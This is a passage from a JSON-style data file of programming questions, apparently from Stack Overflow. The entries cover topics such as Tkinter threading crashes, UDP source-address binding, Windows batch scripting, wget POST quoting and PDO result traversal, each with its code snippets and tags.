4.3.3,gcc_ntoppcbespe_cpp-ne\n 4.3.3,gcc_ntox86_ecpp\n
4.3.3,gcc_ntoshle_ecpp\n 4.3.3,gcc_ntoppcbespe_acpp-ne\n
4.3.3,gcc_ntoppcbe_gpp\n 4.3.3,gcc_ntoppcbe_acpp-ne\n
4.3.3,gcc_ntoppcbespe_gpp\n 4.3.3,gcc_ntoppcbe_cpp\n
4.3.3,gcc_ntomipsbe_ecpp\n 4.3.3,gcc_ntoppcbe_acpp\n 4.3.3,gcc_ntoarmle_acpp-
ne\n 4.3.3,gcc_ntox86_cpp-ne\n 4.3.3,gcc_ntomipsbe\n
4.3.3,gcc_ntomipsle_cpp\n 4.3.3,gcc_ntoarmle_acpp\n 4.3.3,gcc_ntomipsle_gpp\n
4.3.3,gcc_ntoarmle_ecpp-ne\n 4.3.3,gcc_ntoppcbespe\n", "makefile qnx qcc"],
"2158905": ["Is there any options available for save particular word(2007) pages
into another new word(2007) file?", "I have a 500 page word 2007 document for my
work and this file contains lot of images,text boxes, frames and also track changes
are enabled for insertion,deletion,formatting changes.So, While doing copy and
paste format has completely changed.I want to save first 100 pages to another new
word document.\nSo, Is there any options available for save this particular pages
into another new word file?\nPlease Guide me to get out of this issue?\nThanks,\
nSaravanan\n", "", "ms-word word office-2007"], "5551876": ["Does NUnit create a
new instance of the test fixture class for each contained test method nowadays?",
"As written in a fairly old book XUnit Patterns NUnit 2.0 did not create new test
fixtures for each test, and because of that if tests were manipulating some state
of fixture it became shared and could cause various bad side effects. \nIs this
still the same? I tried to find it on official site but failed, and havent used
NUnit for a while.\n", "", "unit-testing nunit"], "2241455": ["Obscure, repeatable
crashes in multi-threaded Python console application using tk", "Using tk in my
multi-threaded(*) console application causes it to crash without stacktrace, giving
the message \"Tcl_WaitForEvent: Notifier not initialized Abort trap\".\nThe
symptoms were that all my program's functions worked fine, until I brought up the
tk window - then the very next operation would cause the crash.\nImmediate
searching found that Tkinter is not safe with respect to Python threads, so I made
sure that I was not calling any Tk functions anywhere other than my main thread.
The crashes continued.\nI lost several hours because I believed that it was the
specific command I was using that crashed the program - but eventually I realized
that any keyboard input would crash the program.\nAfter a lot of debugging, I
finally boiled it down to a small program that demonstrates the issue, exposing
what I believe is a bug or certainly a feature that needs documentation in the
Tkinter library.\nI was working on this posting I was debugging. I'm going to post
it and answer my own question in the hopes that it will prevent the next person
from wasting a day on it.\n--\n(* - Yes, it certainly needs to be multi-threaded.
I have a thread for my socket connection, a thread that listens to a mic and finds
levels, a thread to drive my serial port and more. In each case, the thing I'm
reading on the thread naturally blocks most of the time.)\n", "", "python
tkinter"], "4432217": ["jax-rs response entity is not the xmlroot but is an
element", "I have a jax-rs response method which\n
@Produces('application/xml','application/json')\ni also have a jaxb entity which
produces this\n\nfor this call /person/joe\ni would like to respond with
/person/joe/address\nand return\n\nusing jax-rs/jersey i get a \" no marshaller
for type Address.class when mime type is application/xml\" error.\nthis is
happening because the address object is not annotated as @XMLRootElement.\n",
"<person>\n <name>joe</name>\n <address>\n <street>123 home</street>\n
</address>\n<person>\n", "jaxb jax-rs"], "2231472": ["Is there any difference
between iterator methods returning IEnumerable<T> and IEnumerator<T>?", "Consider
two iterator methods with the same bodies:\n\nIs there any circumstance where
calling is different from calling ?\nIs there ever a good reason to define an
iterator as over ? The only one I can think of is when you are implementing .\
nEDIT: By iterator methods I mean methods using and constructs.\n", "public
static IEnumerable<int> It1() { \n ...\n}\n\npublic static IEnumerator<int>
It2() { \n ...\n}\n", "c# iterator"], "4960538": ["changing default source IP
for udp server bind with INADDR_ANY", "My application has opened an UDP socket that
is bound to INADDR_ANY to listen to packets on all the interfaces my server has.
I'm sending out replies through the same socket. \nHowever, while sending a reply
from the server, default IP is chosen by the IP layer of linux depending upon which
interface is chosen for packet to going out. The IP associated with this interface
may not be the destination address with which this UDP server got a query from a
client. Thus source IP of the reply from server becomes different from the
destination IP with which the query came. The client may be uncomfortable with such
a reply.\nFollowing link gives the behavior of INADDR_ANY with
UDP:\nhttp://www.cs.cmu.edu/~srini/15-441/F01.full/www/assignments/P2/
htmlsim_split/node18.html\nHow can I change this default behavior and use a
particular interface IP in the source address? That is more control on the
application code to decide what will be the source address. Also it make sense that
source address in the reply be same as the destination address with which the query
came.\n", "", "linux sockets udp ip"], "5944089": ["what's a flood-color and
lighting-color definition in CSS?", "Way cool, i'd just realised there is something
called and in CSS. Does anyone know what is a and and what do they do?\nWhat
exactly
do these mean?:\n\nThe \u2018flood-color\u2019 property indicates what color to
use to flood the\n current filter primitive subregion. The keyword currentColor
and ICC\n colors can be specified in the same manner as within a \n specification
for the \u2018fill\u2019 and \u2018stroke\u2019 properties. \nThe \u2018lighting-
color\u2019 property defines the color of the light source\n for filter primitives
\u2018feDiffuseLighting\u2019 and \u2018feSpecularLighting\u2019.\n\nHow do we
apply these so-called SVG effects? I've tried setting the lighting-color to red but
there doesn't seem to be any effect whatsoever.\n", "flood-color", "html css css3
svg-filters"], "5096288": ["Socket.io re-authorization", "I am trying to transmit a
cookie back to the server, long after an authorization has occurred. The reason
being I want to check if a user is still logged in after a socket has been open for
a while. Is there a way to do this with socket.io? Maybe by forcing an
authorization again; is this possible?\n", "", "javascript node.js socket.io"],
"4395017": ["How to know if Access Token expires in Google Api PHP", "How will I
know if my access token has expired.\nI'm using try and catch\n\nbut still it gets
error from the file_get_contents then prints \"Get new token\"\nIf I want to use
curl\n\nthen what should I do to catch the error here? \n\n", "try {\n$result =
file_get_contents('https://www.googleapis.com/calendar/v3/calendars/primary/events?
access_token='.$accesstoken);\nprint_r($result);\n}\ncatch(Exception $e){\
necho \"Get new token\";\n}\n", "php google curl google-api access-token"],
"44110": ["ClickOnce PublishUrl not working using MSBuild Task", "I have a
CruiseControl .NET build server running on Windows Server 2003, and I am trying to
build and publish my Wpf (3.5) ClickOnce application using msbuild 4. The task in
my build script is as follows:\n\nHowever after running the build the
installation does not get deployed to c:\\testwpf\\ folder. However I can see the
installation created in bin\\release folder of the source.\nAny idea why its not
deploying the files to the specified PublishUrl?\n", "<MSBuild Projects=\"src\\
TestProject\\TestProject.csproj\"\n Targets=\"publish\"
\n
Properties=\"PublishUrl=c:\\testwpf\\;InstallUrl=http://devserver/
TestProjectUpdates/;\" />\n", "msbuild clickonce"], "604265": ["Using USB telbox
(USB-B2K) for calling over PSTN from PC", "This one is a longshot but I'll give it
a try anyway.\nI recently bought this USB Telbox device (AKA yealink USB-B2K). It's
a device that connects to a PC over USB and to the PSTN (home telephony) and
regular phone device over RJ11 cable. The device is used to direct incoming PSTN
calls to the skype client running on the PC and to make calls over skype by simply
dialing the keypad on the regular phone device. \nThis is all nice, but I was
wondering if it would be somehow possible to use this device to make calls from the
PC over PSTN. Now, the device can make PSTN calls when dialing on the regular
phone's keypad (hitting '*' on the phone's keypad make it switch from calling over
skype to calling over PSTN). My question is whether it would be possible to control
the device from the PC over USB and make it make a call on the PSTN.\n", "", "usb
skype telephony"], "619204": ["Pass Data Between Two UIViewControllers", "I need to
pass data of UILabel from ViewB to ViewA. My ViewA has a UILabel with some number.
This number can be changed in ViewB which I open as a new UIViewController as
below: \n\nViewB also has a UILabel to hold the same value. I tried to pass this
value from ViewB to ViewA by assigning UILabel's like so:\n\nThat didn't work.
Thanks for suggestions...\n", "viewB = [[SettingsViewController alloc]
initWithNibName:@\"SettingsViewController\" bundle:nil];\n", "iphone objective-c
uiviewcontroller"], "2728824": ["Javascript fill <option value=\"TEXT\">", "Brief
explanation:\nI use a javascript that auto completes the visitor adress based on
their ZIP code, they enter the zip code and the script fills the city text field,
street and so on.\nBut the STATE field must be a option, not a text input. And now
I need to adapt the script to fill it\n\nState (estado) must be a option value
because of another javascript plugin. Because, if = TRUE, it changes some jQuery
cellphone Mask to add one more digit, because in this specific state the cellphones
has one more digit. That's why i can't simply change it to text\n", "<!--
Translations -->\n CEP = Zip Code\n Cidade = City\n Bairro = Neighborhood\
n Rua/Av = Street/Avenue\n Estado = State\n\n <head>\n <script
type=\"text/javascript\">\n function getEndereco() {\n
if($.trim($(\"#cep\").val()) != \"\"){\n
$.getScript(\"http://cep.republicavirtual.com.br/web_cep.php?
formato=javascript&cep=\"+$(\"#cep\").val(), function(){\n
if(resultadoCEP[\"resultado\"] != 0){\n $
(\"#rua\").val(unescape(resultadoCEP[\"tipo_logradouro\"])
+\" \"+unescape(resultadoCEP[\"logradouro\"]));\n
$(\"#bairro\").val(unescape(resultadoCEP[\"bairro\"]));\n
$(\"#cidade_pessoa_fisica\").val(unescape(resultadoCEP[\"cidade\"]));\n\n
Needs fix ----> $(\"#estado\").val(unescape(resultadoCEP[\"estado\"]));\n\n
}else{\n return;\n
}\n }); \n }
\n }\n </script>\n </head>\n <body>\n
<!-- Working perfectly -->\n\n <input name=\"cep\" id=\"cep\"
maxlength=\"8\" type=\"text\" onBlur=\"getEndereco()\" size=\"8\">\n
<label for=\"cidade\">Cidade</label>\n <span class=\"w\">\n
<input tabindex=\"1\" class=\"input\" id=\"cidade_pessoa_fisica\" type=\"text\" />\
n </span>\n <label for=\"bairro\">Bairro</label>\
n <input name=\"bairro\" id=\"bairro\" type=\"text\">\n
<label for=\"rua\">Rua/Avenida</label>\n <input name=\"rua\"
id=\"rua\" type=\"text\">\n <label for=\"rua\">Numero</label>\n
<input name=\"rua\" id=\"rua\" type=\"text\">\n\n\n\n <!-- Needs FIX
--> \n\n <label for=\"estado\">Estado</label>\n
<select id=\"estado\" style=\"width:300px;\">\n <option
value=\"\">Selecione</option>\n <option
value=\"AC\">Acre</option>\n <option
value=\"AL\">Alagoas</option>\n <option
value=\"AP\">Amap&aacute;</option>\n <option
value=\"AM\">Amazonas</option>\n <option
value=\"BA\">Bahia</option>\n <option
value=\"CE\">Cear&aacute;</option>\n <option
value=\"DF\">Distrito Federal</option>\n <option
value=\"ES\">Esp&iacute;rito Santo</option>\n <option
value=\"GO\">Goi&aacute;s</option>\n <option
value=\"MA\">Maranh&atilde;o</option>\n <option
value=\"MT\">Mato Grosso</option>\n <option value=\"MS\">Mato
Grosso do Sul</option>\n <option value=\"MG\">Minas
Gerais</option>\n <option value=\"PA\">Par&aacute;</option>\n
<option value=\"PB\">Para&iacute;ba</option>\n <option
value=\"PR\">Paran&aacute;</option>\n <option
value=\"PE\">Pernambuco</option>\n <option
value=\"PI\">Piau&iacute;</option>\n <option value=\"RJ\">Rio de
Janeiro</option>\n <option value=\"RN\">Rio Grande do
Norte</option>\n <option value=\"RS\">Rio Grande do
Sul</option>\n <option value=\"RO\">Rond&ocirc;nia</option>\n
<option value=\"RR\">Roraima</option>\n <option
value=\"SC\">Santa Catarina</option>\n <option
value=\"SP\">S&atilde;o Paulo</option>\n <option
value=\"SE\">Sergipe</option>\n <option
value=\"TO\">Tocantins</option>\n </select>\n </body>\n",
"javascript jquery option"], "688874": ["iphone - SetNeedsDisplay not working",
"I'm trying to refresh my main view in this code. It shows the right sub-view, but
it's keeping the other views already shown. I already tried setNeedsDisplay and
setNeedsLayout but no success.\nAny ideas?\nCode:\n\nRegards!\n", "-
(void)setViewsForLecture:(NSString *)date{\n int scrollHeight = 0;\n\n
[self.view setNeedsDisplay];\n FMDatabase* db = [DatabaseManager
openDatabase];\n NSString *query = [NSString stringWithFormat:@\"select *
from tbl_lectures where day like \\\"%%%@%%\\\" \", date];\n\n FMResultSet
*rs= [db executeQuery:query];\n\n //Counts how many lectures\n int
position = 0;\n\n while ([rs next]) { \n NSMutableArray *speakers =
[[NSMutableArray alloc] initWithCapacity:30];\n\n NSString *lectureName =
[rs stringForColumn:@\"lecturename\"];\n\n FMResultSet *speakersList =
[db executeQuery:@SELECT_SPEAKER_FOR_LECTURE, lectureName];\n\n while
([speakersList next]) {\n [speakers addObject:[speakersList
stringForColumn:@\"speaker\"] ];\n }\n\n if ([speakers count] %
2 == 0)\n {\n scrollHeight += [speakers count]*40;\n
}\n else\n {\n scrollHeight += (1 + ([speakers
count] -1)/2)*40;\n
}\n NSLog(@\"Csantos: speakers for %@: %i\",lectureName, [speakers
count]);\n UIView *aLecture = [CustomInterface viewForLecture:[rs
stringForColumn:@\"lecturename\"]\n
onPosition:position\n
withSpeakers:speakers];\n\n\n\n [self.scroll addSubview:aLecture];\n\n
[aLecture release];\n [speakers release];\n scrollHeight +=
280;\n position++;\n }\n\n self.scroll.contentSize =
CGSizeMake(300, scrollHeight);\n [db release];\n }\n", "iphone
setneedsdisplay"], "5140756": ["Why does Visual Studio 2010 throw this error with
Boost 1.42.0?", "I'm trying to recompile application, that compiles fine with
warning level 4 in visual studio 2005 and visual studio 2008.\nSince the errors
(look below) are coming from std:tr1, I'm thinking there's some conflict, but not
sure how to fix. My first thought was to remove all references to boost, such as
but then I get an error that it can't find format method.\nSo here's one of the
errors: (not sure what it means)\nAny ideas, suggestions, solutions?\nThanks!\
nEDIT: Right at the beginning I see a message: Unknown compiler version - please
run the configure tests and report the results\nEDIT2: Piece of code that I think
causes this error: (changed to protect the innocent)\nEDIT3: I updated the error
message, i.e added more..however I get many more error messages such as this
one..so there's a bigger problem/issue.\n\n", " !
m_someMap.insert( std::make_pair( \"somestring\", SomeClass::isTrue ) ).second\
n....\n.....\n inline bool isTrue ( const IDog & dog ) { return s.IsDogTrue(); }\n\
n\n\n1>c:\\program files (x86)\\microsoft visual studio 10.0\\vc\\include\\
type_traits(197): error C2752: 'std::tr1::_Remove_reference<_Ty>' : more than one
partial specialization matches the template argument list\n1> with\n1>
[\n1> _Ty=bool (__cdecl &)(const IDog &)\n1> ]\n1>
c:\\program files (x86)\\microsoft visual studio 10.0\\vc\\include\\
xtr1common(356): could be 'std::tr1::_Remove_reference<_Ty&&>'\n1> c:\\
program files (x86)\\microsoft visual studio 10.0\\vc\\include\\xtr1common(350): or
'std::tr1::_Remove_reference<_Ty&>'\n1> c:\\program files (x86)\\microsoft
visual studio 10.0\\vc\\include\\type_traits(962) : see reference to class template
instantiation 'std::tr1::remove_reference<_Ty>' being compiled\n1> with\
n1> [\n1> _Ty=bool (__cdecl &)(const IDog &)\n1> ]\
n1> c:\\program files (x86)\\microsoft visual studio 10.0\\vc\\include\\
utility(26) : see reference to class template instantiation 'std::tr1::decay<_Ty>'
being compiled\n1> with\n1> [\n1> _Ty=bool (__cdecl
&)(const IDog &)\n1> ]\n1> C:\\(PATH)\\...(915) : see reference to
class template instantiation 'std::tr1::_Unrefwrap<_Type>' being compiled\n1>
with\n1> [\n1> _Type=bool (__cdecl &)(const IDog &)\n1>
]\n1>c:\\program files (x86)\\microsoft visual studio 10.0\\vc\\include\\
type_traits(965): error C2528: 'abstract declarator' : pointer to reference is
illegal\n1>c:\\program files (x86)\\microsoft visual studio 10.0\\vc\\include\\
type_traits(349): error C2528: 'type' : pointer to reference is illegal\n1>
c:\\program files (x86)\\microsoft visual studio 10.0\\vc\\include\\
type_traits(967) : see reference to class template instantiation
'std::tr1::add_pointer<_Ty>' being compiled\n1> with\n1> [\n1>
_Ty=bool (__cdecl &)(const IDog &)\n1> ]\n1>c:\\program files (x86)\\
microsoft visual studio 10.0\\vc\\include\\type_traits(197): error C2752:
'std::tr1::_Remove_reference<_Ty>' : more than one partial specialization matches
the template argument list\n1> with\n1> [\n1>
_Ty=bool (__cdecl &)(const char *,int,const char *,std::string &)\n1> ]\
n", "c++ visual-studio-2010 boost"], "5109441": ["How to improve Performance in
ASP.net application", "We have migrated one classic ASP application to ASP.net2010
using C#. \nCompare to the classic ASP application the newly migrated application's
performance is bit slow.\nWhich areas need to be checked to improve performance?\
n", "", "asp.net c#-4.0"], "4390069": ["using an if statement in windows batch file
script", "I'm completely unfamiliar with windows scripting - I can roughly read it
and see what's going on but when it comes to writing I'm basically at zero. Here's
what I'm trying to do.\nI have the following script\n\nUnfortunately from time to
time the YYYYMMDD part of the file is missing (no idea why this happens - its very
rare - I can only think it might be the odd network glitch). What I want to do is
have an if statement so that if YYYYMMDD is empty I set it to some default date.\nI
was inserting the following line to my code - but this doesn't do anything for
me. \n\nAny advice please?\n", "echo on\n\nSET LOGNAME=%7\nSET LOGNAME=%LOGNAME
%.log\n\nSet CURRDATE=%TEMP%\\CURRDATE.TMP\nSet CURRTIME=%TEMP%\\CURRTIME.TMP\n\
nDATE /T > %CURRDATE%\nTIME /T > %CURRTIME%\n\nSet PARSEARG=\"eol=; tokens=1,2,3,4*
delims=/, \"\nFor /F %PARSEARG% %%i in (%CURRDATE%) Do SET YYYYMMDD=%%l%%k%%j%%i\n\
nSet PARSEARG=\"eol=; tokens=1,2,3,4* delims=:,. \"\nFor /F %PARSEARG% %%i in
(%CURRTIME%) Do Set HHMMSS=%%i%%j%%k%%l\n\n\nsqlcmd -E -S %1 -d %2 -h-1 -b -w 1000
-Q \"EXEC spTest %3,%4,%5 \" -o %6Test_%YYYYMMDD%%HHMMSS%.DAT\n\nIF ERRORLEVEL 1
GOTO FAILED\n\nECHO %YYYYMMDD% %HHMMSS% OK>>%LOGNAME%\n\nGOTO END\n\n:FAILED\nECHO
%YYYYMMDD% %HHMMSS% FAILED>>%LOGNAME%\n\n:END\nEXIT /B %ERRORLEVEL%\n", "windows
scripting if-statement batch-file"], "4418970": ["Developing webservice client on
jdk1.6 and needs to be compatible with jdk1.5.03", "Im trying to run webservice
client on jdk1.5 and gives me many errors such as classnotfound exception,
nosuchmethod... Its possible to add some libs such as jax-ws, axis... and run it
under jdk1.5?\nWhats the best approach? I have netbeans 6.9.1 on jdk1.6, created
project compatible for jdk1.5. It works on my machine but on other with only 1.5
dont.\nThanks for reply!\n", "", "java web-services client compatibility jdk1.5"],
"4395016": ["Dynamics CRM 2011 Import - Ignore Row", "I am importing data from csv
file in CRM2011, I was wondering if there a way to ignore a complete row, eg, if
type = P then add if type = S then ignore?\nCheers\n", "", "dynamics-crm dynamics-
crm-2011"], "341298": ["Mocking a dependent property with Moq", "If I have a class
that has a dependency that is resolved via property injection, is it possible to
Mock the behavior of that property using Moq?\ne.g.\n\nSo, SomeClass is under test
and I am trying to figure out if I can mock the behavior of IUsefulService with Moq
so when I test IsThisPossible and the line using the service is hit, the mock is
used...\n", " public class SomeClass\n {\n //empty constructor\n
public SomeClass() {}\n\n //dependency\n public IUsefuleService
Service {get;set;}\n\n public bool IsThisPossible(Object someObject)\n
{\n //do some stuff\n\n //I want to mock Service and the result
of GetSomethingGood\n var result = Service.GetSomethingGood(someObject);\
n }\n\n }\n", "c# unit-testing moq"], "4466030": ["Allowing the terminal
to write Arabic", "How can allow the terminal on Linux to write Arabic without
reversing its words?\nFor example, when I write \"\u0632\u0645\u0627\u0644\u0643\"
it is written from left to right. How can I fix this?\n", "", "linux terminal
arabic right-to-left"], "2817651": ["All forms and buttons mysteriously rendering
at 11px font-size", "Inspecting my website with dev tools, and on different
browsers. The computed for all my forms is all over the place:\n\nChrome and
Safari OS X: \nFF OS X: except for some that randomly render at .\nOpera on
Windows: \njennyfofenny is even reporting strange font sizes of on Windows 7
Chrome.\n\nNone of these are the standard 14px I've set to or the 100% browser
default of 16. What is going on here? \nAll of the buttons and inputs are
exhibiting this strange behavior: search forms, buttons, my comments section. \
nI've looked everywhere, tried disabling plugins, tried disabling Javascript, and I
simply can't find the source of this bug \nThe Website in question\nPosible
Solution:\nAdding the property to the reset sheet starting at solves the
problem.\nHowever:\nIt's still going to bug me forever how this strange behaviour
came to be, considering neither or are browser defaults for anything AFAIK.
(jennyfofenny is even getting strange font sizes of 13.3333 on some browsers!)\n",
"font-size", "css wordpress debugging"], "102994": ["Fill DataGridView with a large
amount of data from an asynchronous source", "I'm writing an application that reads
from a bunch of feeds served by a webserver and, after processing the response,
dumps the results into a DataGridView. There are a few hundred sources, each of
which responds with about 200k items. These are then filtered based on some regex
rules, and the ones that pass (there's about a 30% pass rate) get put into the
DataGridView.\nI need a mechanism to do this, but with the following constraints:\
n\nUI must remain responsive at all times.\nNeed to fetch 5 resources at any point
in time (i.e. in parallel).\nHave to process the results using regex in parallel.\
nTime between data being fetched from the server and it appearing in the grid must
be minimal.\nWould prefer to avoid Application.DoEvents().\n\nI'm using to grab
the data from the server. Beyond this, I've tried a few solutions but none seem to
work well.\n", "WebClient.DownloadStringAsync", "c# .net regex parallel-
processing"], "5202781":
["Can't figure out ActiveRecord::SubclassNotFound in Registries#edit?", "When
in \"edit\" or \"show\" this comes up:\nActiveRecord::SubclassNotFound in
Registries#edit\n\"The single-table inheritance mechanism failed to locate the
subclass: 'Plane'. This error is raised because the column 'type' is reserved for
storing the class in case of inheritance. Please rename this column if you didn't
intend it to be used for storing the inheritance class or overwrite
Present.inheritance_column to use another column for that information.\"\n\nHere is
the Registry Form:\n\nThe presents_fields:\n\n", "25: </div>\n26: \n27: <div
class=\"field1\">\n28: <%= f.fields_for :presents do |builder| %>\n29: <%=
render 'present_fields', f: builder %>\n30: <% end %>\n31: </div>\n", "ruby-on-
rails database-design activerecord subclass"], "5092871": ["Django Admin : Class
Media", "I have a class Media as follows\n\nThe staticfiles app prepends STATIC_URL
to the media path. But I want MEDIA_URL to be prepended instead of STATIC_URL and
STATIC_URL isn't empty. How can this be done?\n", "class
helloAdmin(admin.ModelAdmin):\n class Media:\n js = ['choice.js']\
nadmin.site.register(hello,helloAdmin)\n", "django django-admin"], "3932954":
["ExpressJS: Server.close();", "I just want to understand what will happen if we
call the close method in NodeJS's http.Server object. (I think this is object is
also inherited by ExpressJS server object).\nI have the following questions:\n\
nWhen we call method does it flush all memory of the previous server object?\nWhen
we call method and tried to create a new server object with the same port and host
as of the previous server object, can we reuse the port and host address again?\
nDoes a node instance exits when we call the close() method?\n\nThanks for the
reply.\n", "close()", "node.js expressjs"], "1859671": ["Accessing Tab2 components
from jQuery", "I am trying get currently focused component id. For this I used
following jQuery:\n\nI have a with 2 tabs, and tabview attribute is set to .
jQuery is not getting fired for components of tab2 when I switch to tab2. I have
noticed that HTML source is not getting generated for components of tab2. How do I
resolve the issue ?\nGenerated Markup given below :\n\n", "<script>\n $
(document).ready(function(){\n $(\"*\").focus(function(){\n $
('#hiddenInput').val($(this).attr('name'));\n });\n });\n</script>\n",
"jquery primefaces tabview"], "2460978": ["anyone know if you can reset the
visualsvn trial?", "I must have installed it at some point in the past, but never
really used it. I'd like to actually give it a try now but it's saying the trial
has expired (which is why i'm assuming i must have installed it at some point in
the past). \nAnyone know if there's a way to get another 30 days to test it out?\
n", "", "visual-studio svn visualsvn"], "5398406": ["Wget and .net WebAPI", "I
created a simple restless webapi that takes a few variables and returns a simple
Success or Fail\nThis works great in
Fiddler.\nhttp://www.####.com/myapi/api/SettingsConfig POST HTTP/1.1\nRequest
Headers\nUser-Agent: Fiddler\nHost: www.######.com\nContent-Length: 143\nContent-
Type: application/x-www-form-urlencoded; charset=UTF-8\nRequest Body\
nPBXNumber=6461111111&Username=me&Password=you&enable=True\nMy client wants to use
Wget to post to my Webapi:\nHe tried:\nwget.exe
https://www.####.com/myapi/api/SettingsConfig --post-data
'PBXNumber=6461111111&Username=mew&Password=you&enable=True'\nand gets \n'Username'
is not recognized as an internal or external command,\noperable program or batch
file.\n'Password' is not recognized as an internal or external command,\noperable
program or batch file.\n'enable' is not recognized as an internal or external
command,\noperable program or batch file.\nPlease tell me as i am so at lost what
to do!\n", "", "c# asp.net-web-api wget"], "238054": ["ubuntu downgrade from lucid
to karmic", "I was foolish to upgrade my computer to lucid, and i got into a lot of
errors, it will not boot proper the display.\nThis is why i want to downgrade back
to Karmic.\nDo you know how can you do this?\n", "", "ubuntu ubuntu-9.10 ubuntu-
10.04 downgrade"], "2206977": ["MySql FULLTEXT match against a list of keywords
from a lookup table", "I don't know if this is possible, but it would simplify my
calculations to be able to match against each word in a lookup table with a single
query. (otherwise, I'll probably pull the tables into memory and program a sequence
of queries in python):\n\nThe above will return a count for number of stories that
contain 'word', but then is there some way to have it repeat this count for every
word in a table containing these words?\n\nSomething like that? Note that title and
story are from one table, and word comes from another.\n", "SELECT count(*) FROM
input_form\nWHERE MATCH (title,story) AGAINST (word);\n", "mysql match fulltext
against"], "5992918": ["Customizing Google Custom Search", "Does anyone know how to
remove the extra branding on the google custom search? \nthey've added a button and
other things like text that says \"gadgets powered by google\".\nthere has to be a
way to pipe the CSE data into a normal form,
right?\nhttp://www.google.com/coop/cse/\n", "", "search google forms"], "4474297":
["Cannot Load Images from Jar", "I'm making a simple game in Java, and trying to
load a sprite from the jar file. I'm using the following code to load a sprite:\n\
nAnd if I export a jar file and unzip it, the following folders
exist:\n\n/res/sprites/sprite_fr1.png\n\nHowever, when I try and load the image, I
catch a NullPointerException, even though, as far as I can tell, the path exists?\
nWhat am I doing wrong here?\nEDIT: Screenshot below.\n\nAll sprites are in the
folder 'sprites' as PNG files. I'm calling the method from jeu, not jeu/canvases.\
nRegards,\nBen.\n", "spriteURL =
getClass().getResource(\"/res/sprites/sprite_fr1.png\");\n", "java image swing jar
embedded-resource"], "2731682": ["Error while building Hadoop native library for
compression codec on cygwin/windows", "I am trying to use Hadoop compression codec
on windows environment. However, as mentioned in haddop documentation, native
libraries need to be built for any platform other than linux.\nI am building native
library for compression codec from cygwin following the steps mentioned here:\
nhttp://hadoop.apache.org/common/docs/r0.18.3/native_libraries.html#Building+Native
+Hadoop+Libraries\nBut getting this error:\n(last few lines of the log)\n\nBUILD
FAILED\nC:\\cygwin\\usr\\local\\hadoop\\build.xml:596: The following error occurred
while executing this line:\nC:\\cygwin\\usr\\local\\hadoop\\build.xml:645: exec
returned: 1\nI have also renamed all the Makefile to Makefile.in but still cannot
get past this error.\nCan anybody please help me fixing this up.\nMakefile does
exist in the haddop/src/native folder and if I build it using ./configure, it is
fine, however, it does not generate any jars.\nThanks,\n- csn\n", " [exec]
configure: WARNING: jni.h: present but cannot be compiled\n [exec] configure:
WARNING: jni.h: check for missing prerequisite headers?\n [exec] configure:
WARNING: jni.h: see the Autoconf documentation\n [exec] configure: WARNING: jni.h:
section \"Present But Cannot Be Compiled\"\n [exec] configure: WARNING: jni.h:
proceeding with the preprocessor's result\n [exec] configure: WARNING: jni.h: in
the future, the compiler will take precedence\n [exec] configure: WARNING: ##
------------------------------------------ ##\n [exec] configure: WARNING: ##
Report this to the AC_PACKAGE_NAME lists. ##\n [exec] configure: WARNING: ##
------------------------------------------ ##\n [exec] checking for jni.h... yes\n
[exec] checking zlib.h usability... yes\n [exec] checking zlib.h presence... yes\n
[exec] checking for zlib.h... yes\n [exec] checking Checking for the 'actual'
dynamic-library for '-lz'...\n [exec] checking zconf.h usability... yes\n [exec]
checking zconf.h presence... yes\n [exec] checking for zconf.h... yes\n [exec]
checking Checking for the 'actual' dynamic-library for '-lz'... (cached)\n [exec]
checking fcntl.h usability... yes\n [exec] checking fcntl.h presence... yes\n
[exec] checking for fcntl.h... yes\n [exec] checking for stdlib.h... (cached) yes\n
[exec] checking for string.h... (cached) yes\n [exec] checking for unistd.h...
(cached) yes\n [exec] checking for an ANSI C-conforming const... yes\n [exec]
checking for memset... yes\n [exec] checking whether strerror_r is declared... yes\
n [exec] checking for strerror_r... yes\n [exec] checking whether strerror_r
returns char *... no\n [exec] configure: creating ./config.status\n [exec]
config.status: creating Makefile\n [exec] config.status: error: cannot find input
file: Makefile.in\n", "hadoop makefile cygwin"], "95877": ["Dynamic Tabs and
dynamic content from mySQL", "Using CodeIgniter, I have a set of tabs with titles
taken from a table on my DB.\nWhen I click a certain tab, it loads a content which
is also\nfrom another table on my DB.\nI know the second part will need something
like ajax. But I'm really confused on how to do this in an MVC way.\nI tried
creating a controller which would fetch the title of the tabs from my model, then
load a view passing the data fetch from my model as params. Now, I created the tab,
but dynamically changing the content when clicked is where I'm stuck.\nAnyone can
at least tell me the basic idea on how to achieve this?\nThank you so much!\n", "",
"mysql codeigniter tabs"], "58491": ["When using URL Rewrite on IIS 7.5 for
reverse-proxy, how do I configure an automatic login to the target (real) server?",
"Here's the configuration...\ninternetservice.site.com is reverse-proxied by URL
Rewrite on IIS 7.5 to targetserver.ourdomain.local. The rules are set for one
front-end site bound to port 80
with appropriate host header, not the whole web server. The front-end web server
and the back-end target server are not on the same Windows domain. The service on
'targetserver' requires some form of authentication. Anonymous is not an option,
but I would choose it if I could. I've set it to use basic authentication, and
after a manual login everything works great.\nDoes anyone know how to configure IIS
or URL Rewrite to access the target server with specific credentials so an http
request to the front-end no longer requires the pass-through authentication?\nI've
tried creating a local account on both servers with the same username and password,
authorizing it on the target server (works fine with direct test), and set it as
both the application pool account and 'Connect as' account on the front-end site.
Didn't work though.\nMaybe that approach would work with Windows authentication
instead of basic?\nI also tried including the username and password within the URL
like this: http://user:[email protected]. This does work with Firefox
and Chrome, but not with IE.\nDoes anyone know how to configure URL Rewrite to
authenticate with specific credentials?\nI'm convinced there has to be a way to do
this. Thank you in advance for your thoughts.\n", "", "authentication reverse-
proxy iis7.5 rewrite"], "5109447": ["How to traverse the PDOStatement object i.e.
fetch first, last previous next etc?", "I am trying to access data again and again
in a webpage. Is there a better way ? some thing like movetofirst(), movetolast(),
movetoprevious(), movetonext() could be nice.\nright now i am retrieving the
resultset as an array (using fetchall()) and resusing the array again and again.\
nIs there something like below be done? I need not execute the query again and
again. keep the data in a array and consume resources if the result/array is of
many hundred rows.\n\n", "$sql = 'SELECT cityname, statename FROM TBLPLACES ORDER
BY cityname, statename';\n$stmt = $conn->query($sql);\nif ($stmt) {\n
while($row=$stmt->fetch()){\n // do some thing\n }\n\n // do some more
thing\n //\n // now here, can i access same $stmt object\n // to fetch
